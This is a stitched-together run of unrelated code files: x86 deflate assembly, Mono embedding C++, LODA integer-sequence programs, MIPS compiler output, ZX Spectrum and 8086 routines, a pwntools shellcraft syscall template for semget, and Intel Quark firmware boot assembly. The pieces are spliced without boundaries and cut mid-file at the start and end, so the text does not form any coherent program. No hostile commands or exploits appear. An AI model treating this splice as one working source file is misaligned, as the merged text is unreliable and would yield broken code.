_internal_state_state], tmp2 %+ d jmp .end .output_end: mov stream, [rsp + stream_offset] mov dword [stream + _internal_state_state], ZSTATE_CREATE_HDR .end: ;; update input buffer add file_length, [rsp + inbuf_slop_offset] mov [stream + _total_in], f_i %+ d mov [stream + _internal_state_block_end], f_i %+ d add file_start, f_i mov [stream + _next_in], file_start sub file_length, f_i mov [stream + _avail_in], file_length %+ d ;; update output buffer mov [level_buf + _icf_buf_next], m_out_buf sub m_out_buf, [rsp + m_out_start] sub [level_buf + _icf_buf_avail_out], m_out_buf %+ d mov rbx, [rsp + gpr_save_mem_offset + 0*8] mov rsi, [rsp + gpr_save_mem_offset + 1*8] mov rdi, [rsp + gpr_save_mem_offset + 2*8] mov rbp, [rsp + gpr_save_mem_offset + 3*8] mov r12, [rsp + gpr_save_mem_offset + 4*8] mov r13, [rsp + gpr_save_mem_offset + 5*8] mov r14, [rsp + gpr_save_mem_offset + 6*8] mov r15, [rsp + gpr_save_mem_offset + 7*8] %ifndef ALIGN_STACK add rsp, stack_size %else mov rsp, rbp pop rbp %endif ret .compare_loop: lea tmp2, [tmp1 + dist - 1] mov len2, file_length sub len2, f_i add len2, [rsp + inbuf_slop_offset] add len2, 1 mov tmp3, MAX_EMIT_SIZE cmp len2, tmp3 cmovg len2, tmp3 mov len, 8 compare_large tmp1, tmp2, len, len2, tmp3, ytmp0, ytmp1 cmp len, 258 jle .len_dist_huffman cmp len, LARGE_MATCH_MIN jge .do_emit mov len, 258 jmp .len_dist_huffman .compare_loop2: lea tmp2, [tmp1 + dist2] add tmp1, 1 mov len, file_length sub len, f_i add len, [rsp + inbuf_slop_offset] mov tmp3, MAX_EMIT_SIZE cmp len, tmp3 cmovg len, tmp3 mov len2, 8 compare_large tmp1, tmp2, len2, len, tmp3, ytmp0, ytmp1 movzx lit_code, curr_data %+ b shr curr_data, 8 inc dword [lit_len_hist + HIST_ELEM_SIZE*lit_code] cmp len2, 258 jle .len_dist_lit_huffman cmp len2, LARGE_MATCH_MIN jge .do_emit2 mov len2, 258 jmp .len_dist_lit_huffman .do_emit2: or lit_code, LIT mov dword [m_out_buf], lit_code %+ d add m_out_buf, 4 inc f_i mov dist, dist2 mov len, len2 .do_emit: neg dist get_dist_icf_code dist, dist_code, tmp1 mov len_code2, 258 + 254 or len_code2, dist_code mov tmp1, dist_code shr tmp1, DIST_OFFSET and tmp1, 0x1F lea tmp3, [f_i + 1] dec f_i mov [hash_table + 2 * hash], tmp3 %+ w add tmp3,1 mov [hash_table + 2 * hash2], tmp3 %+ w .emit: sub len, 258 add f_i, 258 inc dword [lit_len_hist + HIST_ELEM_SIZE*(258 + 254)] inc dword [dist_hist + HIST_ELEM_SIZE*tmp1] mov dword [m_out_buf], len_code2 %+ d add m_out_buf, 4 cmp m_out_buf, [rsp + m_out_end] ja .output_end cmp len, LARGE_MATCH_MIN jge .emit mov len2, 258 cmp len, len2 cmovg len, len2 ; get_len_code(len, &code, &code_len); add f_i, len lea len_code, [len + 254] or dist_code, len_code inc dword [lit_len_hist + HIST_ELEM_SIZE*len_code] inc dword [dist_hist + HIST_ELEM_SIZE*tmp1] mov dword [m_out_buf], dist_code %+ d add m_out_buf, 4 cmp file_length, f_i jle .input_end lea tmp2, [f_i - 4 * LARGE_MATCH_HASH_REP] mov hmask2 %+ d, [rsp + hash_mask_offset] %rep LARGE_MATCH_HASH_REP mov curr_data %+ d, dword [file_start + tmp2] mov curr_data2 %+ d, dword [file_start + tmp2 + 1] mov tmp3 %+ d, dword [file_start + tmp2 + 2] mov tmp1 %+ d, dword [file_start + tmp2 + 3] compute_hash hash, curr_data compute_hash hash2, curr_data2 compute_hash hash3, tmp3 compute_hash hmask3, tmp1 and hash %+ d, hmask2 %+ d and hash2 %+ d, hmask2 %+ d and hash3 %+ d, hmask2 %+ d and hmask3 %+ d, hmask2 %+ d mov [hash_table + 2 * hash], tmp2 %+ w add tmp2, 1 mov [hash_table + 2 * hash2], tmp2 %+ w add tmp2, 1 mov [hash_table + 2 * hash3], tmp2 %+ w add tmp2, 1 mov [hash_table + 2 * hmask3], tmp2 %+ w %if (LARGE_MATCH_HASH_REP > 1) add tmp2, 1 %endif %endrep ; for (f_i = f_start_i; f_i < file_length; f_i++) { MOVDQU xdata, [file_start + f_i] mov curr_data, [file_start + f_i] mov tmp1, curr_data compute_hash hash, curr_data shr tmp1, 8 compute_hash hash2, tmp1 and hash, hmask2 and hash2, hmask2 jmp .loop2 .write_first_byte: mov hmask1 %+ d, [rsp + hash_mask_offset] cmp m_out_buf, [rsp + m_out_end] ja .output_end mov byte [stream + _internal_state_has_hist], IGZIP_HIST mov [hash_table + 2 * hash], f_i %+ w mov hash, hash2 shr tmp2, 16 compute_hash hash2, tmp2 and curr_data, 0xff inc dword [lit_len_hist + HIST_ELEM_SIZE*curr_data] or curr_data, LIT mov dword [m_out_buf], curr_data %+ d add m_out_buf, 4 MOVDQU xdata, [file_start + f_i + 1] add f_i, 1 mov curr_data, [file_start + f_i] and hash %+ d, hmask1 %+ d and hash2 %+ d, hmask1 %+ d cmp f_i, file_length jl .loop2 jmp .input_end %ifdef USE_HSWNI %undef USE_HSWNI %endif ;; Shift defines over in order to iterate over all versions %undef ARCH %xdefine ARCH ARCH1 %undef ARCH1 %xdefine ARCH1 ARCH2 %ifdef COMPARE_TYPE_NOT_DEF %undef COMPARE_TYPE %xdefine COMPARE_TYPE COMPARE_TYPE1 %undef COMPARE_TYPE1 %xdefine COMPARE_TYPE1 COMPARE_TYPE2 %endif %endrep
#pragma once #ifdef MONO_DOMAIN_SET_CONFIG_PATCH //only for mono 3.2.8 and lower version #include <windows.h> typedef struct { MonoObject object; MonoString* application_base; MonoString* application_name; MonoString* cache_path; MonoString* configuration_file; MonoString* dynamic_base; MonoString* license_file; MonoString* private_bin_path; MonoString* private_bin_path_probe; MonoString* shadow_copy_directories; MonoString* shadow_copy_files; MonoBoolean publisher_policy; MonoBoolean path_changed; int loader_optimization; MonoBoolean disallow_binding_redirects; MonoBoolean disallow_code_downloads; MonoObject* activation_arguments; MonoObject* domain_initializer; MonoObject* application_trust; MonoArray* domain_initializer_args; MonoBoolean disallow_appbase_probe; MonoArray* configuration_bytes; MonoArray* serialized_non_primitives; } MonoAppDomainSetup; struct _MonoDomain { CRITICAL_SECTION lock; void* mp; void* code_mp; MonoAppDomainSetup* setup; }; static void mono_domain_set_config(MonoDomain* domain, const char* base_dir, const char* config_file_name) { MONO_OBJECT_SETREF(domain->setup, application_base, mono_string_new(domain, base_dir)); MONO_OBJECT_SETREF(domain->setup, configuration_file, mono_string_new(domain, config_file_name)); } #endif namespace MonoBind { MonoBind::Domain& Domain::get() { static Domain domain; return domain; } void Domain::initJit(const char* file) { assert(m_domain == nullptr); m_domain = mono_jit_init(file); } void Domain::initJit(const char* file, const char* ver) { assert(m_domain == nullptr); m_domain = mono_jit_init_version(file, ver); } void Domain::setConfig(const char* base_dir, const char* config_file_name) { mono_domain_set_config(m_domain, base_dir, config_file_name); } MonoDomain* Domain::raw() { return m_domain; } void Domain::cleanup() { if (m_domain) { mono_jit_cleanup(m_domain); m_domain = nullptr; } } Assembly Domain::openAssembly(const char* name) { return Assembly(mono_domain_assembly_open(m_domain, name)); } }
; A289120: a(n) is the number of odd integers divisible by 7 in ]2*(n-1)^2, 2*n^2[. ; 0,0,1,0,1,2,1,2,2,3,2,3,4,3,4,4,5,4,5,6,5,6,6,7,6,7,8,7,8,8,9,8,9,10,9,10,10,11,10,11,12,11,12,12,13,12,13,14,13,14,14,15,14,15,16,15,16,16,17,16,17,18,17,18,18,19,18,19,20,19,20,20,21,20,21,22,21,22,22,23,22,23,24,23,24,24,25,24,25,26,25,26,26,27,26,27,28,27,28,28 mov $3,2 mov $4,$0 lpb $3 mov $0,$4 sub $3,1 add $0,$3 sub $0,1 pow $0,2 add $0,4 mov $2,$3 mov $5,$0 div $5,7 mul $2,$5 add $1,$2 lpe min $4,1 mul $4,$5 sub $1,$4 mov $0,$1
; A189661: Fixed point of the morphism 0->010, 1->10 starting with 0. ; 0,1,0,1,0,0,1,0,1,0,0,1,0,0,1,0,1,0,0,1,0,1,0,0,1,0,0,1,0,1,0,0,1,0,0,1,0,1,0,0,1,0,1,0,0,1,0,0,1,0,1,0,0,1,0,1,0,0,1,0,0,1,0,1,0,0,1,0,0,1,0,1,0,0,1,0,1,0,0,1,0,0,1,0,1,0,0,1,0,0,1,0,1,0,0,1,0,1,0,0 mov $3,2 mov $5,$0 lpb $3 mov $0,$5 sub $3,1 add $0,$3 sub $0,1 mul $0,55 mov $4,$0 lpb $0 mov $0,1 div $4,144 lpe add $0,$4 mov $2,$3 mov $4,$0 lpb $2 mov $1,$4 sub $2,1 lpe lpe lpb $5 sub $1,$4 mov $5,0 lpe mov $0,$1
.data a: .word 0 c: .word 0 t0: .word 0 t1: .word 0 return.0: .word 0 return.1: .word 0 a.0: .word 0 b.1: .word 0 c.2: .word 0 d.3: .word 0 test.0: .word 0 test.1: .word 0 e.4: .word 0 f.5: .word 0 .text runtime: addi $sp, $sp, -4 sw $ra, 0($sp) lw $ra, 0($sp) addi $sp, $sp, 4 jr $ra .end runtime test: addi $sp, $sp, -4 sw $ra, 0($sp) lw $3, test.0 # test.0 -> $3 move $5, $3 # a -> $5 lw $3, test.1 # test.1 -> $3 move $6, $3 # c -> $6 addi $3, $5, 1 addi $7, $6, 1 move $8, $3 # return.0 -> $8 sw $8, return.0 # spilled return.0, freed $8 move $8, $7 # return.1 -> $8 # Store dirty variables back into memory sw $3, t0 sw $5, a sw $6, c sw $7, t1 sw $8, return.1 lw $ra, 0($sp) addi $sp, $sp, 4 jr $ra .end test .globl main .ent main main: li $3, 1 # a.0 -> $3 li $3, 4 # a.0 -> $3 sw $3, a.0 # spilled a.0, freed $3 li $3, 1 # b.1 -> $3 sw $3, b.1 # spilled b.1, freed $3 li $3, 2 # c.2 -> $3 sw $3, c.2 # spilled c.2, freed $3 li $3, 3 # d.3 -> $3 sw $3, d.3 # spilled d.3, freed $3 li $3, 1 # test.0 -> $3 sw $3, test.0 # spilled test.0, freed $3 li $3, 2 # test.1 -> $3 sw $3, test.1 jal test lw $3, test.1 lw $3, return.0 # return.0 -> $3 move $5, $3 # e.4 -> $5 lw $3, return.1 # return.1 -> $3 sw $5, e.4 # spilled e.4, freed $5 move $5, $3 # f.5 -> $5 # Store dirty variables back into memory sw $5, f.5 li $2, 10 syscall .end main
; ; Spectrum C Library ; ; ANSI Video handling for ZX Spectrum ; ; Handles colors referring to current PAPER/INK/etc. settings ; ; ** alternate (smaller) 4bit font capability: ; ** use the -DPACKEDFONT flag ; ** ROM font -DROMFONT ; ; set it up with: ; .text_cols = max columns ; .text_rows = max rows ; .DOTS+1 = char size ; .font = font file ; ; Display a char in location (ansi_ROW),(ansi_COLUMN) ; A=char to display ; ; ; $Id: f_ansi_char.asm,v 1.7 2011/11/29 21:44:00 stefano Exp $ ; XLIB ansi_CHAR IF ROMFONT LIB asctozx81 ENDIF XREF base_graphics XREF ansi_ROW XREF ansi_COLUMN XDEF text_cols ;XDEF text_rows ; Dirty thing for self modifying code XDEF INVRS XDEF BOLD IF A128COL .text_cols defb 128 ENDIF IF A80COL .text_cols defb 80 ENDIF IF A85COL .text_cols defb 85 ENDIF IF A64COL .text_cols defb 64 ENDIF IF A51COL .text_cols defb 51 ENDIF IF A42COL .text_cols defb 42 ENDIF IF A40COL .text_cols defb 40 ENDIF IF A36COL .text_cols defb 36 ENDIF IF A32COL .text_cols defb 32 ENDIF IF A28COL .text_cols defb 28 ENDIF IF A24COL .text_cols defb 24 ENDIF ;text_rows defb 24 .ansi_CHAR ; --- TO USE ROM FONT WE NEED TO MAP TO THE ASCII CODES --- IF ROMFONT ld hl,char+1 ld (hl),a call asctozx81 ENDIF ; --- END OF ROM FONT ADAPTER --- ld (char+1),a ld a,(ansi_ROW) ; Line text position ld d,a ld e,0 ld hl,(base_graphics) add hl,de ld (RIGA+1),hl ; xor a ld hl,DOTS+1 ld b,(hl) ld hl,0 ld a,(ansi_COLUMN) ; Column text position ld e,a ld d,0 or d jr z,ZCL .LP add hl,de djnz LP srl h rr l rra srl h rr l rra srl h rr l rra IF ARX816 add hl,hl add hl,hl add hl,hl ENDIF srl a srl a srl a srl a srl a ; ld b,5 ;.RGTA ; srl a ; djnz RGTA .ZCL ld (PRE+1),a ld e,a ld a,(DOTS+1) add a,e ld e,a ld a,16 sub e .NOC ld (POST+1),a .RIGA ; Location on screen ld de,16384 add hl,de push hl pop ix .char ld b,'A' ; Put here the character to be printed IF ROMFONT ld hl,$1e00 xor a add b jr z,NOLFONT ELSE IF PACKEDFONT xor a rr b jr c,even ld a,4 .even ld (ROLL+1),a ld hl,font-128 ELSE ld hl,font-256 ENDIF ENDIF ld de,8 .LFONT add hl,de djnz LFONT .NOLFONT IF !ARX816 ld de,32 ; next row ENDIF ld c,8 .PRE ld b,4 IF ARX816 rl (ix+8) ELSE rl (ix+1) ENDIF rl (ix+0) inc b dec b jr z,DTS .L1 IF ARX816 rl (ix+8) ELSE rl (ix+1) ENDIF rl (ix+0) djnz L1 .DTS ld a,(hl) .BOLD nop ; rla nop ; or (hl) IF ROMFONT ; nothing here ! ELSE IF PACKEDFONT .ROLL jr INVRS rla rla rla rla ENDIF ENDIF .INVRS ; cpl ; Set to NOP to disable INVERSE nop ; Underlined text handling dec c ; jr nz,UNDRL ; Set to JR UNDRL to disable underlined text (loc. INVRS+2) jr UNDRL ld a,255 .UNDRL inc c ; end of underlined text handling .DOTS IF A128COL ld b,2 ENDIF IF A80COL ld b,3 ENDIF IF A85COL ld b,3 ENDIF IF A64COL ld b,4 ENDIF IF A51COL ld b,5 ENDIF IF A42COL ld b,6 ENDIF IF A40COL ld b,6 ENDIF IF A36COL ld b,7 ENDIF IF A32COL ld b,8 ENDIF IF A28COL ld b,8 ENDIF IF A24COL ld b,9 ENDIF .L2 rla IF ARX816 rl (ix+8) ELSE rl (ix+1) ENDIF rl (ix+0) djnz L2 .POST ld b,6 inc b dec b jr z,NEXT .L3 IF ARX816 rl (ix+8) ELSE rl (ix+1) ENDIF rl (ix+0) djnz L3 .NEXT IF ARX816 inc ix ELSE add ix,de ENDIF inc hl dec c jr nz,PRE ret ; The font ; 9 dots: MAX 28 columns ; 8 dots: MAX 32 columns ; 7 dots: MAX 36 columns ; 6 dots: MAX 42 columns ; 5 dots: MAX 51 columns ; 4 dots: MAX 64 columns ; 3 dots: MAX 85 columns Just readable! ; 2 dots: MAX 128 columns (useful for ANSI graphics only.. maybe) ; No file for ROM Font .font IF ROMFONT ; nothing here ! ELSE IF PACKEDFONT BINARY "stdio/ansi/F4PACK.BIN" ELSE IF A128COL BINARY "stdio/ansi/F3.BIN" ENDIF IF A80COL BINARY "stdio/ansi/F4.BIN" ENDIF IF A85COL BINARY "stdio/ansi/F4.BIN" ENDIF IF A64COL BINARY "stdio/ansi/F4.BIN" ENDIF IF A51COL BINARY "stdio/ansi/F5.BIN" ENDIF IF A42COL BINARY "stdio/ansi/F6.BIN" ENDIF IF A40COL BINARY "stdio/ansi/F6.BIN" ENDIF IF A36COL BINARY "stdio/ansi/F8.BIN" ENDIF IF A32COL BINARY "stdio/ansi/F8.BIN" ENDIF IF A28COL BINARY "stdio/ansi/F8.BIN" ENDIF IF A24COL BINARY "stdio/ansi/F8.BIN" ENDIF ENDIF ENDIF
SECTION bss_clib PUBLIC __x_proportional PUBLIC __y_proportional PUBLIC __xchar_proportional PUBLIC __X_int1 PUBLIC __X_int2 PUBLIC __X_int3 PUBLIC __x_must_expose __x_proportional: defw 0 __y_proportional: defw 0 __xchar_proportional: defw 0 __X_int1: defw 0 __X_int2: defw 0 __X_int3: defw 0 SECTION data_clib __x_must_expose: defw 1
#ifndef ISTRATEGY_HPP #define ISTRATEGY_HPP #include "Plate.hpp" namespace platercg { using PlateVec = std::vector<plate::Plate>; class IStrategy { public: IStrategy() = default; virtual ~IStrategy() = default; virtual PlateVec licensePlates(cv::Mat frame) const = 0; }; } #endif
.model small .data num1 db 0,0,0,0,0,0,0,0,0,0,'$' decimales_1 db 0,0,0,0,0,0,0,0,0,0,'$' num2 db 0,0,0,0,0,0,0,0,0,0,'$' decimales_2 db 0,0,0,0,0,0,0,0,0,0,'$' num_res db 0,0,0,0,0,0,0,0,0,0,'$' decimales_Res db 0,0,0,0,0,0,0,0,0,0,'$' Acarreo_ParaEntero db 0 posicion_ultimo_entero dw 0 display_str db "000000001.000000099+" db "000000001.000000099",'$',14 DUP(0) .stack .code begin proc far mov ax,@data mov ds,ax ;LEER LA OPERACION ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; MOV SI,0000H MOV DI,0001H num_1: CMP display_str[SI],'+' JE siguiente CMP display_str[SI],'.' JE decimal_siguiente MOV Al,display_str[SI] SUB AL,30H MOV num1[DI],AL INC SI INC DI JMP num_1 decimal_siguiente: INC SI MOV DI,0000H decimal_1: CMP display_str[SI],'+' JE siguiente MOV Al,display_str[SI] SUB AL,30H MOV decimales_1[DI],AL INC SI INC DI JMP decimal_1 ;;;;;;;;;;;;;;;;;;;;;;;;; siguiente: ;MOV num_1[DI],'$' MOV DI,0001H INC SI num_2: CMP display_str[SI],'$' JE fin CMP display_str[SI],'.' JE decimal_siguiente_2 MOV Al,display_str[SI] SUB AL,30H MOV num2[DI],AL INC SI INC DI JMP num_2 decimal_siguiente_2: MOV num2[DI],'$' INC SI MOV DI,0000H decimal_2: CMP display_str[SI],'$' JE fin MOV Al,display_str[SI] SUB AL,30H MOV decimales_2[DI],AL INC SI INC DI JMP decimal_2 fin: MOV decimales_2[DI],'$' ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; CALL SUMA ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;IMPRIMIR RESULTADO LEA DX,num_res MOV AH,09 INT 21H MOV AH,02 MOV DL,'.' INT 21H LEA DX,decimales_Res MOV AH,09 INT 21H XOR AX,AX INT 16H begin endp ;;;;;;;;;;;PROCEDIMIENTOS SUMA PROC NEAR ;SUMAR PARTES ENTERAS SIN IMPORTAR ACARREOS MOV SI,09h JMP siguiente_entero fin_enteros: MOV num_res[SI],'$' DEC SI JMP siguiente_entero siguiente_entero: MOV AL,num1[SI] CMP AL,24h ;si es el fin de cadena JE fin_enteros ADD AL,num2[SI] MOV num_res[SI],AL DEC SI JNS siguiente_entero ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; MOV num1[0Ah],'$' ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;SUMAR PARTES DECIMALES SIN IMPORTAR ACARREOS MOV SI,0Ah JMP siguiente_decimal fin_decimales: MOV decimales_Res[SI],'$' DEC SI JMP siguiente_decimal siguiente_decimal: MOV AL,decimales_1[SI] CMP AL,24h ;si es el fin de cadena JE fin_decimales ADD AL,decimales_2[SI] MOV decimales_Res[SI],AL DEC SI JNS siguiente_decimal ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;AJUSTAR LOS ACARREOS DECIMALES MOV SI,0Ah JMP siguiente_Acarreo_decimal ; es_fin_decimal: DEC SI JMP siguiente_Acarreo_decimal ; AcarreoDecimal: MOV Al,decimales_Res[SI] AAM ;;si es el primer numero decimal deselo a los enteros cmp SI,0000h JNE no_es_primero JMP es_primero ;; no_es_primero: ADD decimales_Res[SI-1],Ah MOV decimales_Res[SI],Al DEC SI JMP siguiente_Acarreo_decimal es_primero: ;;--> es primero ADD Acarreo_ParaEntero,Ah MOV decimales_Res[SI],Al DEC SI ;;fin el primero siguiente_Acarreo_decimal: CMP SI,0FFFFh JE fin_ajuste_AcarreoDecimal CMP decimales_Res[SI],'$' JE es_fin_decimal CMP decimales_Res[SI],0Ah JAE AcarreoDecimal DEC SI JNS siguiente_Acarreo_decimal ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; fin_ajuste_AcarreoDecimal: ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;AJUSTAR LOS ACARREOS ENTEROS MOV SI,09h JMP siguiente_Acarreo_entero ; es_fin_entero: DEC SI MOV posicion_ultimo_entero,SI JMP siguiente_Acarreo_entero ; AcarreoEntero: ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;CMP SI,0000h MOV Al,num_res[SI] AAM ADD num_res[SI-1],Ah MOV num_res[SI],Al DEC SI siguiente_Acarreo_entero: CMP decimales_Res[SI-1],'$' JE es_fin_entero CMP num_res[SI],0Ah JAE AcarreoEntero DEC SI JNS siguiente_Acarreo_entero ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;AGREGAR ACARREOS PENDIENTES MOV SI,posicion_ultimo_entero MOV AL,num_res[SI] ADD AL,Acarreo_ParaEntero MOV num_res[SI],AL ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;AJUSTAR PARA IMPRESION ;;ajustar la parte entera MOV SI,09h JMP inicia_ajuste salta_fin: DEC SI JMP inicia_ajuste inicia_ajuste: MOV AL,num_res[SI] CMP AL,24h JE salta_fin ADD AL,30h MOV num_res[SI],AL DEC SI JNS inicia_ajuste ;;ajustar la parte decimal MOV SI,09h JMP inicia_ajuste_d salta_fin_d: DEC SI JMP inicia_ajuste_d inicia_ajuste_d: MOV AL,decimales_Res[SI] CMP AL,24h JE salta_fin_d ADD AL,30h MOV decimales_Res[SI],AL DEC SI JNS inicia_ajuste_d RET ENDP end begin
eor #$ff sec adc ({z1}),z
<% import collections import pwnlib.abi import pwnlib.constants import pwnlib.shellcraft %> <%docstring>semget(key, nsems, semflg) -> str Invokes the syscall semget. See 'man 2 semget' for more information. Arguments: key(key_t): key nsems(int): nsems semflg(int): semflg Returns: int </%docstring> <%page args="key=0, nsems=0, semflg=0"/> <% abi = pwnlib.abi.ABI.syscall() stack = abi.stack regs = abi.register_arguments[1:] allregs = pwnlib.shellcraft.registers.current() can_pushstr = [] can_pushstr_array = [] argument_names = ['key', 'nsems', 'semflg'] argument_values = [key, nsems, semflg] # Load all of the arguments into their destination registers / stack slots. register_arguments = dict() stack_arguments = collections.OrderedDict() string_arguments = dict() dict_arguments = dict() array_arguments = dict() syscall_repr = [] for name, arg in zip(argument_names, argument_values): if arg is not None: syscall_repr.append('%s=%r' % (name, arg)) # If the argument itself (input) is a register... if arg in allregs: index = argument_names.index(name) if index < len(regs): target = regs[index] register_arguments[target] = arg elif arg is not None: stack_arguments[index] = arg # The argument is not a register. It is a string value, and we # are expecting a string value elif name in can_pushstr and isinstance(arg, str): string_arguments[name] = arg # The argument is not a register. It is a dictionary, and we are # expecting K:V paris. elif name in can_pushstr_array and isinstance(arg, dict): array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()] # The arguent is not a register. It is a list, and we are expecting # a list of arguments. elif name in can_pushstr_array and isinstance(arg, (list, tuple)): array_arguments[name] = arg # The argument is not a register, string, dict, or list. # It could be a constant string ('O_RDONLY') for an integer argument, # an actual integer value, or a constant. else: index = argument_names.index(name) if index < len(regs): target = regs[index] register_arguments[target] = arg elif arg is not None: stack_arguments[target] = arg # Some syscalls have different names on various architectures. # Determine which syscall number to use for the current architecture. for syscall in ['SYS_semget']: if hasattr(pwnlib.constants, syscall): break else: raise Exception("Could not locate any syscalls: %r" % syscalls) %> /* semget(${', '.join(syscall_repr)}) */ %for name, arg in string_arguments.items(): ${pwnlib.shellcraft.pushstr(arg, append_null=('\x00' not in arg))} ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)} %endfor %for name, arg in array_arguments.items(): ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)} %endfor %for name, arg in stack_arguments.items(): ${pwnlib.shellcraft.push(arg)} %endfor ${pwnlib.shellcraft.setregs(register_arguments)} ${pwnlib.shellcraft.syscall(syscall)}
;------------------------------------------------------------------------------ ; ; Copyright (c) 2013-2015 Intel Corporation. ; ; This program and the accompanying materials ; are licensed and made available under the terms and conditions of the BSD License ; which accompanies this distribution. The full text of the license may be found at ; http://opensource.org/licenses/bsd-license.php ; ; THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS, ; WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED. ; ; Module Name: ; ; Flat32.asm ; ; Abstract: ; ; This is the code that goes from real-mode to protected mode. ; It consumes the reset vector, configures the stack. ; ; ;------------------------------------------------------------------------------ ; ; Define assembler characteristics ; .586p .model flat, c ; ; Include processor definitions ; INCLUDE Platform.inc ; ; CR0 cache control bit definition ; CR0_CACHE_DISABLE EQU 040000000h CR0_NO_WRITE EQU 020000000h ; ; External and public declarations ; TopOfStack is used by C code ; SecStartup is the entry point to the C code ; Neither of these names can be modified without ; updating the C code. ; EXTRN PlatformSecLibStartup: NEAR EXTERNDEF C PcdGet32 (PcdEsramStage1Base):DWORD ; ; Contrary to the name, this file contains 16 bit code as well. ; _TEXT_REALMODE SEGMENT PARA PUBLIC USE16 'CODE' ASSUME CS:_TEXT_REALMODE, DS:_TEXT_REALMODE ;---------------------------------------------------------------------------- ; ; Procedure: _ModuleEntryPoint ; ; Input: None ; ; Output: None ; ; Destroys: Assume all registers ; ; Description: ; ; Transition to non-paged flat-model protected mode from a ; hard-coded GDT that provides exactly two descriptors. ; This is a bare bones transition to protected mode only ; used for a while in PEI and possibly DXE. ; ; After enabling protected mode, a far jump is executed to ; transfer to PEI using the newly loaded GDT. ; ; Return: None ; ;---------------------------------------------------------------------------- align 16 _ModuleEntryPoint PROC C PUBLIC ; ; Warm Reset (INIT#) check. ; mov si, 0F000h mov ds, si mov si, 0FFF0h cmp BYTE PTR [si], 0EAh ; Is it warm reset ? jne NotWarmReset ; JIf not. mov al, 08 mov dx, 0cf9h out dx, al mov al, 055h out 080h, al; jmp $ NotWarmReset: ; ; Load the GDT table in GdtDesc ; mov esi, OFFSET GdtDesc db 66h lgdt fword ptr cs:[si] ; ; Transition to 16 bit protected mode ; mov eax, cr0 ; Get control register 0 or eax, 00000003h ; Set PE bit (bit #0) & MP bit (bit #1) mov cr0, eax ; Activate protected mode ; ; Now we're in 16 bit protected mode ; Set up the selectors for 32 bit protected mode entry ; mov ax, SYS_DATA_SEL mov ds, ax mov es, ax mov fs, ax mov gs, ax mov ss, ax ; ; Transition to Flat 32 bit protected mode ; The jump to a far pointer causes the transition to 32 bit mode ; mov esi, offset ProtectedModeEntryLinearAddress jmp fword ptr cs:[si] _ModuleEntryPoint ENDP _TEXT_REALMODE ENDS .code ; ; Protected mode portion initializes stack, configures cache, and calls C entry point ; ;---------------------------------------------------------------------------- ; ; Procedure: ProtectedModeEntryPoint ; ; Input: Executing in 32 Bit Protected (flat) mode ; cs: 0-4GB ; ds: 0-4GB ; es: 0-4GB ; fs: 0-4GB ; gs: 0-4GB ; ss: 0-4GB ; ; Output: This function never returns ; ; Destroys: ; ecx ; edi ; esi ; esp ; ; Description: ; Perform any essential early platform initilaisation ; Setup a stack ; Call the main EDKII Sec C code ; ;---------------------------------------------------------------------------- ProtectedModeEntryPoint PROC NEAR C PUBLIC JMP32 stackless_EarlyPlatformInit ; ; Set up stack pointer ; mov esp, PcdGet32(PcdEsramStage1Base) mov esi, QUARK_ESRAM_MEM_SIZE_BYTES add esp, esi ; ESP = top of stack (stack grows downwards). ; ; Store the the BIST value in EBP ; mov ebp, 00h ; No processor BIST on Quark ; ; Push processor count to stack first, then BIST status (AP then BSP) ; mov eax, 1 cpuid shr ebx, 16 and ebx, 0000000FFh cmp bl, 1 jae PushProcessorCount ; ; Some processors report 0 logical processors. Effectively 0 = 1. ; So we fix up the processor count ; inc ebx PushProcessorCount: push ebx ; ; We need to implement a long-term solution for BIST capture. For now, we just copy BSP BIST ; for all processor threads ; xor ecx, ecx mov cl, bl PushBist: push ebp loop PushBist ; ; Pass Control into the PEI Core ; call PlatformSecLibStartup ; ; PEI Core should never return to here, this is just to capture an invalid return. ; jmp $ ProtectedModeEntryPoint ENDP ;---------------------------------------------------------------------------- ; ; Procedure: stackless_EarlyPlatformInit ; ; Input: esp - Return address ; ; Output: None ; ; Destroys: ; eax ; ecx ; dx ; ebp ; ; Description: ; Any essential early platform initialisation required: ; (1) Disable Cache ; (2) Disable NMI's/SMI's ; (3) Setup HMBOUND (defines what memory accesses go to MMIO/RAM) ; (4) Setup eSRAM (provide early memory to the system) ; (5) Setup PCIEXBAR access mechanism ; (6) Open up full SPI flash decode ; ;---------------------------------------------------------------------------- stackless_EarlyPlatformInit PROC NEAR C PUBLIC ; ; Save return address ; mov ebp, esp ; ; Ensure cache is disabled. ; mov eax, cr0 or eax, CR0_CACHE_DISABLE + CR0_NO_WRITE invd mov cr0, eax ; ; Disable NMI ; Good convention suggests you should read back RTC data port after ; accessing the RTC index port. ; mov al, NMI_DISABLE mov dx, RTC_INDEX out dx, al mov dx, RTC_DATA in al, dx ; ; Disable SMI (Disables SMI wire, not SMI messages) ; mov ecx, (OPCODE_SIDEBAND_REG_READ SHL SB_OPCODE_FIELD) OR (HOST_BRIDGE_PORT_ID SHL SB_PORT_FIELD) OR (HMISC2_OFFSET SHL SB_ADDR_FIELD) JMP32 stackless_SideBand_Read and eax, NOT (SMI_EN) mov ecx, 